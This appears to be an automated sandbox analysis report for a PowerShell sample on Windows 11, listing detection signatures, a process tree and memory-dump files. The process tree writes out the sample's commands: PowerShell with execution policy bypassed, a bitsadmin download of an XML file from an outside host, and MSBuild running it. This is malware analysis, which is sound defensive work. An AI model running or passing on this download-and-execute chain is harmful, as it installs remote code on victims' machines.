Analysis
- max time kernel
59s - max time network
50s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
02/08/2026, 22:26
General
- Target x.ps1
- Size 1KB
- Sample260802-2c2absysdv
- SHA256 6efd6e187dbbef4d7f9e3392a5023db7125c8922e057b2ff95ad7f066897e3f5
Malware Config
Signatures
- Download via BitsAdmin 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\x.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "bitsadmin /transfer x5c093f /download /priority foreground "https://cf-id.com/test.xml" "C:\Users\Admin\AppData\Local\Temp\t69566c2d.xml""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bitsadmin.exebitsadmin /transfer x5c093f /download /priority foreground "https://cf-id.com/test.xml" "C:\Users\Admin\AppData\Local\Temp\t69566c2d.xml"3⤵
- Download via BitsAdmin
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\t69566c2d.xml" /nologo /v:q /noconlog2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y1hr4r3z\y1hr4r3z.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82C3.tmp" "c:\Users\Admin\AppData\Local\Temp\y1hr4r3z\CSC1F75A7BA4BFE49C19B736AB0B5BB4C1B.TMP"4⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RES82C3.tmp
y1hr4r3z.dll
y1hr4r3z.pdb
CSC1F75A7BA4BFE49C19B736AB0B5BB4C1B.TMP
y1hr4r3z.0.cs
y1hr4r3z.cmdline
memory/408-33-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-37-0x0000025BBE110000-0x0000025BBE232000-memory.dmp
memory/408-72-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-66-0x00000001E0000000-0x00000001E021F000-memory.dmp
memory/408-67-0x0000000140000000-0x0000000140369000-memory.dmp
memory/408-65-0x00000001E0000000-0x00000001E021F000-memory.dmp
memory/408-64-0x00000001E0000000-0x00000001E021F000-memory.dmp
memory/408-63-0x00000001E0000000-0x00000001E021F000-memory.dmp
memory/408-62-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-22-0x0000025BA37C0000-0x0000025BA37FE000-memory.dmp
memory/408-25-0x0000025BBDE30000-0x0000025BBDF8A000-memory.dmp
memory/408-61-0x00000001E0000000-0x00000001E021F000-memory.dmp
memory/408-23-0x0000025BA3C80000-0x0000025BA3C9A000-memory.dmp
memory/408-26-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-27-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-28-0x0000025BBDCD0000-0x0000025BBDD00000-memory.dmp
memory/408-29-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-30-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-31-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-32-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-58-0x0000000140000000-0x0000000140369000-memory.dmp
memory/408-34-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-35-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-36-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/408-38-0x0000025BBE030000-0x0000025BBE074000-memory.dmp
memory/408-59-0x0000000140000000-0x0000000140369000-memory.dmp
memory/408-39-0x0000025BBE370000-0x0000025BBE4EC000-memory.dmp
memory/408-40-0x0000025BBE6D0000-0x0000025BBEA30000-memory.dmp
memory/408-60-0x0000000140000000-0x0000000140369000-memory.dmp
memory/408-57-0x0000000140000000-0x0000000140369000-memory.dmp
memory/408-56-0x0000025BA3E20000-0x0000025BA3E28000-memory.dmp
memory/408-55-0x0000025BBE370000-0x0000025BBEBCA000-memory.dmp
memory/5456-24-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-19-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-5-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-6-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-7-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-8-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-9-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-0-0x00007FFB219BF000-0x00007FFB219C0000-memory.dmp
memory/5456-1-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-18-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-4-0x00000234A02B0000-0x00000234A02D2000-memory.dmp
memory/5456-16-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-15-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-14-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-13-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-12-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp
memory/5456-77-0x00007FFB21830000-0x00007FFB221D4000-memory.dmp